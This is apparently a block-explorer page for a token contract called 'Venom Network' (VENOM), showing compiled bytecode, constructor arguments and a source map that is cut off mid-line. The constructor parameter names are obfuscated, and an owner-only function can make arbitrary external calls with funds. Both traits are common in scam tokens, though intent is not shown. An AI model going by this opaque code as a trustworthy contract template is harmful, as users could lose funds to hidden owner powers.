3d601f19601f82011682018060405250810190610b1e91906124e7565b505b505b50505050505050565b5f61066f6001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f901168484611a46565b610b68611058565b5f610b74848484611098565b9050806107565760405162461bcd60e51b81526004016105c79061240a565b610b9b611058565b5f846001600160a01b0316848484604051610bb7929190612524565b5f6040518083038185875af1925050503d805f8114610bf1576040519150601f19603f3d011682016040523d82523d5f602084013e610bf6565b606091505b50509050806107fe575f80fd5b5f610c0c611058565b4360025403610c2d5760405162461bcd60e51b81526004016105c7906123ee565b61270f198260010b138015610c4657506127108260010b125b8015610c5557508160010b5f14155b610c865760405162461bcd60e51b81526020600482015260026024820152614b4f60f01b60448201526064016105c7565b5f8260010b1315610dd5575f6127108361ffff16610ca2611664565b610cac9190612533565b610cb6919061255e565b90505f610cc3823061127e565b91505f9050806001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c81169063128acb089030907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21681118681610d415773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610d48565b64010009046c5b6040518563ffffffff1660e01b8152600401610d679493929190612583565b60408051808303815f875af1158015610d82573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610da691906125bc565b915091505f610db583836119ff565b509050610dca30610dc5836125de565b6118b2565b505050505050610f24565b5f612710610de2846125f8565b61ffff16610dee611664565b610df89190612533565b610e02919061255e565b90505f610e0e82611ab9565b90505f806001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c81169063128acb089030907f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc21681108681610e8a5773fff6fbe64b68d618d47c209fe40b0d8ee6e23c91610e91565b64010009046c5b6040518563ffffffff1660e01b8152600401610eb09493929190612583565b60408051808303815f875af1158015610ecb573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610eef91906125bc565b915091505f610efe83836119ff565b915050610f1c610f1682610f11906125de565b611187565b30611918565b505050505050505b50506005544360025561010090046001600160a01b031690565b336001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c1614610f9b5760405162461bcd60e51b8152602060048201526002602482015261554360f01b60448201526064016105c7565b335f80610fa887876119ff565b915091505f821315610fc057610fbe83836115b2565b505b5f811315610b225760405163a9059cbb60e01b81526001600160a01b038481166004830152602482018390527f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2169063a9059cbb906044016020604051808303815f875af1158015611034573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b2091906124e7565b5f546001600160a01b031633146110965760405162461bcd60e51b81526020600482015260026024820152614e4f60f01b60448201526064016105c7565b565b5f6001600160a01b0384166110d45760405162461bcd60e51b8152602060048201526002602482015261494f60f01b60448201526064016105c7565b6001600160a01b0383166110fa5760405162461bcd60e51b81526004016105c790612617565b61112f6001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f90116858585611bab565b50826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161117591815260200190565b60405180910390a35060019392505050565b5f807f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa1580156111e5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112099190612644565b50505050505090507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316306001600160a01b03161061126e576112698173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611bdd565b61066f565b61066f64010009046c8285611c3d565b60405163a34123a760e01b8152620d89e5196004820152620d89e660248201526001600160801b03831660448201525f9081906001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c169063a34123a79060640160408051808303815f875af1158015611300573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061132491906125bc565b50506005805460ff191660011790556040516309e3d67b60e31b81526001600160a01b038481166004830152620d89e5196024830152620d89e660448301526001600160801b036064830181905260848301525f9182917f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c1690634f1eb3d89060a40160408051808303815f875af11580156113c2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113e691906126ed565b600554919350915060ff16156113fa575f80fd5b611416826001600160801b0316826001600160801b03166119ff565b90945092508361144d5760405162461bcd60e51b8152602060048201526002602482015261139560f21b60448201526064016105c7565b61145785856118b2565b5050509250929050565b5f816001600160a01b03166309255f3f6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561149e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610597919061271e565b604051634453dd1560e11b81525f906001600160a01b038616906388a7ba2a906114f490879087908790600401612500565b6020604051808303815f875af1158015611510573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153491906124e7565b95945050505050565b5f6001600160a01b0384166115645760405162461bcd60e51b81526004016105c790612617565b6001600160a01b03831661159f5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b6115aa848484611c6f565b949350505050565b5f6001600160a01b0383166115ee5760405162461bcd60e51b815260206004820152600260248201526124a960f11b60448201526064016105c7565b61066f5f8484611c6f565b60405163700c2aeb60e11b81526001600160a01b0382811660048301525f919084169063e01855d690602401602060405180830381865afa158015611640573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061066f919061271e565b6040516bffffffffffffffffffffffff193060601b16602082015262793b0d60e91b60348201526206c4f360e91b60378201525f906001600160a01b037f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c169063514ea4bf90603a01604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161170191815260200190565b60a060405180830381865afa15801561171c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117409190612735565b5092949350505050565b5f807f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa1580156117a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906117cc9190612644565b50505050505090507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316306001600160a01b03161061182c576112698173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611c7b565b61066f64010009046c8285611ced565b5f6118706001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9011683611d36565b6060015192915050565b6118ae6001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f901168383611dd7565b5050565b5f6001600160a01b0383166118d95760405162461bcd60e51b81526004016105c790612617565b5f821161190d5760405162461bcd60e51b81526020600482015260026024820152615a4160f01b60448201526064016105c7565b61066f835f84611c6f565b5f805f807f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6001600160a01b0316633c8a7d8d30620d89e519620d89e68a8a60405160200161197691906001600160a01b0391909116815260200190565b6040516020818303038152906040526040518663ffffffff1660e01b81526004016119a5959493929190612788565b60408051808303815f875af11580156119c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119e491906125bc565b915091506119f282826119ff565b9097909650945050505050565b5f806001600160a01b037f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2163010611a38578284611a3b565b83835b909590945092505050565b604051630d2d24bb60e31b81526001600160a01b03838116600483015282811660248301525f919085169063696925d890604401602060405180830381865afa158015611a95573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115aa919061271e565b5f807f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa158015611b17573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611b3b9190612644565b50505050505090507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc26001600160a01b0316306001600160a01b031610611b8c5761126964010009046c8285611ced565b61066f8173fff6fbe64b68d618d47c209fe40b0d8ee6e23c9185611c7b565b60405163b93be2a960e01b81525f906001600160a01b0386169063b93be2a9906114f490879087908790600401612500565b5f826001600160a01b0316846001600160a01b03161115611bfc579192915b5f611c1e856001600160a01b0316856001600160a01b0316600160601b611e30565b905061066b8382611c2f88886127d4565b6001600160a01b0316611e30565b5f826001600160a01b0316846001600160a01b03161115611c5c579192915b6115aa82600160601b611c2f87876127d4565b5f6115aa848484611ed6565b5f826001600160a01b0316846001600160a01b03161115611c9a579192915b6001600160a01b038416611ce36fffffffffffffffffffffffffffffffff60601b606085901b16611ccb87876127d4565b6001600160a01b0316866001600160a01b0316611e30565b6115aa9190612498565b5f826001600160a01b0316846001600160a01b03161115611d0c579192915b6115aa6001600160801b038316611d2386866127d4565b6001600160a01b0316600160601b611e30565b611d6d6040518060a001604052805f6001600160a01b031681526020015f81526020015f81526020015f8152602001606081525090565b60405163cacdf77d60e01b81526001600160a01b03838116600483015284169063cacdf77d906024015f60405180830381865afa158015611db0573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405261066f919081019061288c565b6040516343e3581760e11b81526001600160a01b038381166004830152602482018390528416906387c6b02e906044015f604051808303815f87803b158015611e1e575f80fd5b505af1158015610b22573d5f803e3d5ffd5b5f80805f19858709858702925082811083820303915050805f03611e64575f8411611e59575f80fd5b50829004905061066f565b808411611e6f575f80fd5b5f8486880960026001871981018816978890046003810283188082028403028082028403028082028403028082028403028082028403029081029092039091025f889003889004909101858311909403939093029303949094049190911702949350505050565b5f4360025403611ef85760405162461bcd60e51b81526004016105c7906123ee565b611f0184611f15565b611f0a83611f15565b6115aa848484612099565b6001600160a01b0381163b1580611f3457506001600160a01b03811630145b15611f3c5750565b806001600160a01b0316633850c7bd6040518163ffffffff1660e01b815260040160e060405180830381865afa925050508015611f96575060408051601f3d908101601f19168201909252611f9391810190612644565b60015b15612096577f000000000000000000000000e6bb28872d0cd74cad850f237993517c5816963c6001600160a01b0316886001600160a01b0316146120015760405162461bcd60e51b8152602060048201526002602482015261055560f41b60448201526064016105c7565b6005546001600160a01b0388811661010090920416146120405760058054610100600160a81b0319166101006001600160a01b038a1602179055610b20565b60055460ff166120775760405162461bcd60e51b81526020600482015260026024820152614e4160f01b60448201526064016105c7565b50506005805460ff19811660ff9182165f190190911617905550505050505b50565b5f806120d06001600160a01b037f000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9011686868661212d565b905080156115aa57836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161211d91815260200190565b60405180910390a3949350505050565b604051630450c94160e11b81525f906001600160a01b038616906308a19282906114f490879087908790600401612500565b5f81518084525f5b8181101561218357602081850181015186830182015201612167565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f61066f602083018461215f565b6001600160a01b0381168114612096575f80fd5b5f602082840312156121d8575f80fd5b813561066f816121b4565b5f80604083850312156121f4575f80fd5b82356121ff816121b4565b946020939093013593505050565b5f6020828403121561221d575f80fd5b5035919050565b5f805f60608486031215612236575f80fd5b8335612241816121b4565b92506020840135612251816121b4565b929592945050506040919091013590565b5f805f60608486031215612274575f80fd5b505081359360208301359350604090920135919050565b5f8083601f84011261229b575f80fd5b50813567ffffffffffffffff8111156122b2575f80fd5b6020830191508360208285010111156122c9575f80fd5b9250929050565b5f805f80606085870312156122e3575f80fd5b8435935060208501359250604085013567ffffffffffffffff811115612307575f80fd5b6123138782880161228b565b95989497509550505050565b5f8060408385031215612330575f80fd5b823561233b816121b4565b9150602083013561234b816121b4565b809150509250929050565b5f805f8060608587031215612369575f80fd5b8435612374816121b4565b935060208501359250604085013567ffffffffffffffff811115612307575f80fd5b5f602082840312156123a6575f80fd5b81358060010b811461066f575f80fd5b600181811c908216806123ca57607f821691505b6020821081036123e857634e487b7160e01b5f52602260045260245ffd5b50919050565b602080825260029082015261109360f21b604082015260600190565b602080825260029082015261222360f11b604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b5f61ffff80831681810361245057612450612426565b6001019392505050565b8181038181111561059757610597612426565b808202811582820484141761059757610597612426565b634e487b7160e01b5f52601260045260245ffd5b5f826124a6576124a6612484565b500490565b8082018082111561059757610597612426565b5f816124cc576124cc612426565b505f190190565b805180151581146124e2575f80fd5b919050565b5f602082840312156124f7575f80fd5b61066f826124d3565b6001600160a01b039384168152919092166020820152604081019190915260600190565b818382375f9101908152919050565b6001600160801b0381811683821602808216919082811461255657612556612426565b505092915050565b5f6001600160801b038084168061257757612577612484565b92169190910492915050565b6001600160a01b03948516815292151560208401526040830191909152909116606082015260a0608082018190525f9082015260c00190565b5f80604083850312156125cd575f80fd5b505080516020909101519092909150565b5f600160ff1b82016125f2576125f2612426565b505f0390565b5f8160010b617fff19810361260f5761260f612426565b5f0392915050565b602080825260029082015261495360f01b604082015260600190565b805161ffff811681146124e2575f80fd5b5f805f805f805f60e0888a03121561265a575f80fd5b8751612665816121b4565b8097505060208801518060020b811461267c575f80fd5b955061268a60408901612633565b945061269860608901612633565b93506126a660808901612633565b925060a088015160ff811681146126bb575f80fd5b91506126c960c089016124d3565b905092959891949750929550565b80516001600160801b03811681146124e2575f80fd5b5f80604083850312156126fe575f80fd5b612707836126d7565b9150612715602084016126d7565b90509250929050565b5f6020828403121561272e575f80fd5b5051919050565b5f805f805f60a08688031215612749575f80fd5b612752866126d7565b9450602086015193506040860151925061276e606087016126d7565b915061277c608087016126d7565b90509295509295909350565b60018060a01b03861681528460020b60208201528360020b60408201526001600160801b038316606082015260a060808201525f6127c960a083018461215f565b979650505050505050565b6001600160a01b038281168282160390808211156127f4576127f4612426565b5092915050565b634e487b7160e01b5f52604160045260245ffd5b60405160a0810167ffffffffffffffff81118282101715612832576128326127fb565b60405290565b6040805190810167ffffffffffffffff81118282101715612832576128326127fb565b604051601f8201601f1916810167ffffffffffffffff81118282101715612884576128846127fb565b604052919050565b5f602080838503121561289d575f80fd5b825167ffffffffffffffff808211156128b4575f80fd5b9084019060a082870312156128c7575f80fd5b6128cf61280f565b82516128da816121b4565b815282840151848201526040808401518183015260608085015190830152608084015183811115612909575f80fd5b80850194505087601f85011261291d575f80fd5b83518381111561292f5761292f6127fb565b61293d868260051b0161285b565b818152868101945060069190911b85018601908982111561295c575f80fd5b948601945b818610156129a45782868b031215612978575f8081fd5b612980612838565b865161298b816121b4565b8152868801518882015285529482019493860193612961565b6080840152509097965050505050505056fea2646970667358221220b4503cfb9e0785d8abef4e05c1c5c36dba9e199724fc6d7b9e1fbc9291fafbc364736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f9010000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f984000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc20000000000000000000000000000000000000000001768669a1213cc725dbfa8000000000000000000000000000000000000000000000000000000000000000d56656e6f6d204e6574776f726b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000556454e4f4d000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : dfg8uwsiojioUJIOjrgiojsirojgs (string): Venom Network
Arg [1] : ijsidjgviojIOJIOEJgijsioejg (string): VENOM
Arg [2] : udivhuihuIHUISEHife7uhgwiuehgwi7uegsuhhe5 (address): 0xeDc8C444b572A98f97BFA1c639EC0dee5bC7F901
Arg [3] : idjjvcioJIOLSDJgvojegjw8ergwegjiosjd (tuple): System.Collections.Generic.List`1[Nethereum.ABI.FunctionEncoding.ParameterOutput]

-----Encoded View---------------
10 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000100
Arg [2] : 000000000000000000000000edc8c444b572a98f97bfa1c639ec0dee5bc7f901
Arg [3] : 0000000000000000000000001f98431c8ad98523631ae4a59f267346ea31f984
Arg [4] : 000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2
Arg [5] : 0000000000000000000000000000000000000000001768669a1213cc725dbfa8
Arg [6] : 000000000000000000000000000000000000000000000000000000000000000d
Arg [7] : 56656e6f6d204e6574776f726b00000000000000000000000000000000000000
Arg [8] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [9] : 56454e4f4d000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

57574:1128:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21003:69;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18430:84;;;;;;;;;;-1:-1:-1;18430:84:0;;;;;:::i;:::-;;:::i;:::-;;22067:369;;;;;;;;;;-1:-1:-1;22067:369:0;;;;;:::i;:::-;;:::i;:::-;;;1540:14:1;;1533:22;1515:41;;1503:2;1488:18;22067:369:0;1375:187:1;42563:438:0;;;;;;;;;;-1:-1:-1;42563:438:0;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;1916:47:1;;;1898:66;;1886:2;1871:18;42563:438:0;1752:218:1;21205:124:0;;;;;;;;;;;;;:::i;:::-;;;2121:25:1;;;2109:2;2094:18;21205:124:0;1975:177:1;22436:495:0;;;;;;;;;;-1:-1:-1;22436:495:0;;;;;:::i;:::-;;:::i;21146:59::-;;;;;;;;;;-1:-1:-1;21146:59:0;;21201:2;2760:36:1;;2748:2;2733:18;21146:59:0;2618:184:1;20921:82:0;;;;;;;;;;-1:-1:-1;20990:10:0;20921:82;;;-1:-1:-1;;;;;2971:32:1;;;2953:51;;2941:2;2926:18;20921:82:0;2807:203:1;28039:451:0;;;;;;;;;;-1:-1:-1;28039:451:0;;;;;:::i;:::-;;:::i;21329:157::-;;;;;;;;;;-1:-1:-1;21329:157:0;;;;;:::i;:::-;;:::i;45850:149::-;;;;;;;;;;;;;:::i;18355:75::-;;;;;;;;;;-1:-1:-1;18417:11:0;;-1:-1:-1;;;;;18417:11:0;18355:75;;21072:74;;;;;;;;;;;;;:::i;28490:559::-;;;;;;;;;;-1:-1:-1;28490:559:0;;;;;:::i;:::-;;:::i;42145:418::-;;;;;;;;;;-1:-1:-1;42145:418:0;;;;;:::i;:::-;;:::i;21486:317::-;;;;;;;;;;-1:-1:-1;21486:317:0;;;;;:::i;:::-;;:::i;45733:117::-;;;;;;;;;;-1:-1:-1;45802:45:0;45733:117;;29633:685;;;;;;;;;;-1:-1:-1;29633:685:0;;;;;:::i;:::-;;:::i;26323:1589::-;;;;;;;;;;-1:-1:-1;26323:1589:0;;;;;:::i;:::-;;:::i;45999:1685::-;;;;;;;;;;-1:-1:-1;45999:1685:0;;;;;:::i;:::-;;:::i;21803:264::-;;;;;;;;;;-1:-1:-1;21803:264:0;;;;;:::i;:::-;;:::i;29049:584::-;;;;;;;;;;-1:-1:-1;29049:584:0;;;;;:::i;:::-;;:::i;18843:183::-;;;;;;;;;;-1:-1:-1;18843:183:0;;;;;:::i;:::-;;:::i;43001:2732::-;;;;;;;;;;-1:-1:-1;43001:2732:0;;;;;:::i;:::-;;:::i;47684:1018::-;;;;;;;;;;-1:-1:-1;47684:1018:0;;;;;:::i;:::-;;:::i;21003:69::-;21040:13;21062:8;21055:15;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;21003:69;:::o;18430:84::-;18050:49;:47;:49::i;:::-;18490:11:::1;:22:::0;;-1:-1:-1;;;;;;18490:22:0::1;-1:-1:-1::0;;;;;18490:22:0;;;::::1;::::0;;;::::1;::::0;;18430:84::o;22067:369::-;22196:4;22244:10;22262:172;22244:10;22355:39;22395:38;22262:58;:172::i;:::-;22255:179;;;22067:369;;;;;:::o;42563:438::-;42696:53;18050:49;:47;:49::i;:::-;18700:12:::1;18684:14;;:28:::0;18676:42:::1;;;;-1:-1:-1::0;;;18676:42:0::1;;;;;;;:::i;:::-;;;;;;;;;42797:97:::3;42844:49;42797:46;:97::i;:::-;42751:143;;42895:104;42942:45;42988:10;42895:46;:104::i;:::-;-1:-1:-1::0;;18640:12:0::2;18625:14;:27:::0;42563:438;;-1:-1:-1;42563:438:0:o;21205:124::-;21249:7;21265:62;:10;-1:-1:-1;;;;;21265:60:0;;:62::i;:::-;21258:69;;21205:124;:::o;22436:495::-;22583:4;22621:10;22632:149;-1:-1:-1;;;;;22632:10:0;:68;22701:24;22621:10;22750:30;22632:68;:149::i;:::-;;22789:140;22845:24;22870:27;22898:30;22789:55;:140::i;:::-;22782:147;;;22436:495;;;;;;:::o;28039:451::-;18050:49;:47;:49::i;:::-;28209:45:::1;28255:178;28312:61;28374:58;28255:56;:178::i;:::-;28209:224;;28442:40;28434:54;;;;-1:-1:-1::0;;;28434:54:0::1;;;;;;;:::i;:::-;28208:282;28039:451:::0;;:::o;21329:157::-;21391:7;21407:77;-1:-1:-1;;;;;21407:10:0;:63;21471:12;21407:63;:77::i;45850:149::-;45895:7;45911:86;45959:37;:35;:37::i;:::-;45911:47;:86::i;21072:74::-;21111:13;21133:11;21126:18;;;;;:::i;28490:559::-;18050:49;:47;:49::i;:::-;28677:85:::1;19441:32;19474:72;19528:17;19474:53;:72::i;:::-;19441:105;;19547:106;19591:17;-1:-1:-1::0;;19547:43:0::1;:106::i;:::-;28764:45:::2;28810:182;28867:85;28953:38;28810:56;:182::i;:::-;28764:228;;29001:40;28993:54;;;;-1:-1:-1::0;;;28993:54:0::2;;;;;;;:::i;:::-;28763:286;19656:87:::1;19700:17;19718:24;19656:43;:87::i;:::-;19440:305;18100:1;28490:559:::0;;:::o;42145:418::-;42262:52;18050:49;:47;:49::i;:::-;18700:12:::1;18684:14;;:28:::0;18676:42:::1;;;;-1:-1:-1::0;;;18676:42:0::1;;;;;;;:::i;:::-;42361:81:::3;42408:33;42361:46;:81::i;:::-;42316:126;;42443:118;42505:44;42550:10;42443:61;:118::i;21486:317::-:0;21592:4;21639:10;21657:144;21639:10;21746:27;21774:26;21657:55;:144::i;29633:685::-;18050:49;:47;:49::i;:::-;29899:66:::1;19441:32;19474:72;19528:17;19474:53;:72::i;:::-;19441:105;;19547:106;19591:17;-1:-1:-1::0;;19547:43:0::1;:106::i;:::-;29967:45:::2;30013:248;30069:66;30136:62;30199:61;30013:55;:248::i;:::-;29967:294;;30270:40;30262:54;;;;-1:-1:-1::0;;;30262:54:0::2;;;;;;;:::i;:::-;29966:352;19656:87:::1;19700:17;19718:24;19656:43;:87::i;:::-;19440:305;18100:1;29633:685:::0;;;:::o;26323:1589::-;18050:49;:47;:49::i;:::-;26641:54:::1;::::0;26610:86:::1;::::0;26635:4:::1;7294:2:1::0;7290:15;-1:-1:-1;;7286:53:1;26610:86:0::1;::::0;::::1;7274:66:1::0;-1:-1:-1;;;26641:54:0;;::::1;7396:3:1::0;7374:16;-1:-1:-1;;;;;;7374:16:1;7356:12;;;7349:60;-1:-1:-1;;7425:12:1;;26610:86:0::1;;;;;;;;;;;;26600:97;;;;;;26592:106;;26525:173;;26699:1155;26788:128;::::0;;::::1;::::0;;::::1;7605:19:1::0;;;7640:12;;;7633:28;;;26788:128:0;;;;;;;;;7677:12:1;;;;26788:128:0;;;26778:139;;;::::1;::::0;;;27205:68:::1;::::0;::::1;-1:-1:-1::0;27205:68:0;27202:139:::1;;27274:67:::0;::::1;::::0;::::1;:::i;:::-;;;;27202:139;27342:63;27602:16;27447:154:::0;;::::1;27448:86;27494:40:::0;27448:45;:86:::1;:::i;:::-;27447:154;;;;:::i;:::-;:171;;;;:::i;:::-;27406:212;::::0;:40;:212:::1;:::i;:::-;27342:276;;27619:169;27676:55;27732;27619:56;:169::i;:::-;;26701:1089;;;;27796:53;;;;:::i;:::-;;;;27851:1;27796:56:::0;26699:1155:::1;;27854:54;:56:::0;;-1:-1:-1;;;27854:56:0;::::1;;;::::0;:54:::1;:56;::::0;::::1;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;26524:1388;26323:1589:::0;;;:::o;45999:1685::-;46258:10;-1:-1:-1;;;;;46278:45:0;46258:66;;46250:80;;;;-1:-1:-1;;;46250:80:0;;9070:2:1;46250:80:0;;;9052:21:1;9109:1;9089:18;;;9082:29;-1:-1:-1;;;9127:18:1;;;9120:32;9169:18;;46250:80:0;8868:325:1;46250:80:0;46397:10;46331:65;;46526:165;46573:55;46629:61;46526:46;:165::i;:::-;46408:283;;-1:-1:-1;46408:283:0;-1:-1:-1;46695:55:0;;46692:343;;46752:48;:50;;-1:-1:-1;;46752:50:0;46801:1;46752:50;;;46803:169;46860:57;46918:53;46803:56;:169::i;:::-;-1:-1:-1;46981:48:0;;;;:51;46973:60;;;;;;47038:47;;47035:648;;47087:61;47149:74;;;;47160:52;47149:74;:::i;:::-;47087:136;-1:-1:-1;47290:4:0;-1:-1:-1;;;;;47227:68:0;;;47224:458;;47297:159;;-1:-1:-1;;;47297:159:0;;-1:-1:-1;;;;;9650:32:1;;;47297:159:0;;;9632:51:1;9699:18;;;9692:34;;;47297:45:0;:54;;;;9605:18:1;;47297:159:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;47224:458;;;47463:217;;-1:-1:-1;;;47463:217:0;;-1:-1:-1;;;;;47463:45:0;:58;;;;:217;;47522:53;;47576:57;;47634:45;;47463:217;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;47224:458;47086:597;47035:648;46249:1435;;;45999:1685;;;;:::o;21803:264::-;21924:7;21940:125;-1:-1:-1;;;;;21940:10:0;:60;22001:30;22032:32;21940:60;:125::i;29049:584::-;18050:49;:47;:49::i;:::-;29290:45:::1;29336:240;29395:72;29468:50;29519:56;29336:58;:240::i;:::-;29290:286;;29585:40;29577:54;;;;-1:-1:-1::0;;;29577:54:0::1;;;;;;;:::i;18843:183::-:0;18050:49;:47;:49::i;:::-;18945:15:::1;18963:7;-1:-1:-1::0;;;;;18963:12:0::1;18982:7;18991:12;;18963:41;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18944:60;;;19013:10;19005:19;;;::::0;::::1;43001:2732:::0;43121:7;18050:49;:47;:49::i;:::-;18700:12:::1;18684:14;;:28:::0;18676:42:::1;;;;-1:-1:-1::0;;;18676:42:0::1;;;;;;;:::i;:::-;-1:-1:-1::0;;43138:38:0::3;:45;;;:91;;;;;43224:5;43185:38;:44;;;43138:91;:134;;;;;43231:38;:41;;43271:1;43231:41;;43138:134;43130:148;;;::::0;-1:-1:-1;;;43130:148:0;;10971:2:1;43130:148:0::3;::::0;::::3;10953:21:1::0;11010:1;10990:18;;;10983:29;-1:-1:-1;;;11028:18:1;;;11021:32;11070:18;;43130:148:0::3;10769:325:1::0;43130:148:0::3;43321:1;43282:38;:40;;;43279:2397;;;43324:52;43471:5;43430:38;43415:55;;43377:37;:35;:37::i;:::-;:93;;;;:::i;:::-;:99;;;;:::i;:::-;43324:152;;43479:56;43537:106;43584:44;43637:4;43537:46;:106::i;:::-;43477:166:::0;-1:-1:-1;43645:55:0::3;::::0;-1:-1:-1;43645:55:0;-1:-1:-1;;;;;43756:45:0::3;:50:::0;::::3;::::0;::::3;::::0;43815:4:::3;::::0;43843:45:::3;43821:68;::::0;::::3;43477:166:::0;43821:68;43947:161:::3;;40078:49;43947:161;;;39994:10;43947:161;43756:356;;;;;;;;;;;;;;;;;;:::i;:::-;;::::0;::::3;;;;;;;;;;;;;;;;::::0;::::3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;43644:468;;;;44114:57;44174:146;44224:48;44273:46;44174:49;:146::i;:::-;-1:-1:-1::0;44113:207:0;-1:-1:-1;44321:132:0::3;44386:4;44400:51;44113:207:::0;44400:51:::3;:::i;:::-;44321:56;:132::i;:::-;;43323:1132;;;;;43279:2397;;;44460:59;44615:5;44573:39;44574:38:::0;44573:39:::3;:::i;:::-;44558:56;;44520:37;:35;:37::i;:::-;:94;;;;:::i;:::-;:100;;;;:::i;:::-;44460:160;;44621:54;44676:97;44721:51;44676:44;:97::i;:::-;44621:152:::0;-1:-1:-1;44775:63:0::3;::::0;-1:-1:-1;;;;;44900:45:0::3;:50:::0;::::3;::::0;::::3;::::0;44959:4:::3;::::0;44987:45:::3;44965:68;::::0;::::3;44621:152:::0;44965:68;45089:161:::3;;40078:49;45089:161;;;39994:10;45089:161;44900:354;;;;;;;;;;;;;;;;;;:::i;:::-;;::::0;::::3;;;;;;;;;;;;;;;;::::0;::::3;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;44774:480;;;;45257:63;45322:160;45372:56;45429:52;45322:49;:160::i;:::-;45255:227;;;45483:191;45545:114;45601:56;45600:57;;;:::i;:::-;45545:46;:114::i;:::-;45668:4;45483:61;:191::i;:::-;;;44459:1217;;;;;43279:2397;-1:-1:-1::0;;45683:48:0::3;::::0;18640:12:::2;18625:14;:27:::0;45683:48:::3;::::0;::::3;-1:-1:-1::0;;;;;45683:48:0::3;::::0;43001:2732::o;47684:1018::-;47878:10;-1:-1:-1;;;;;47898:45: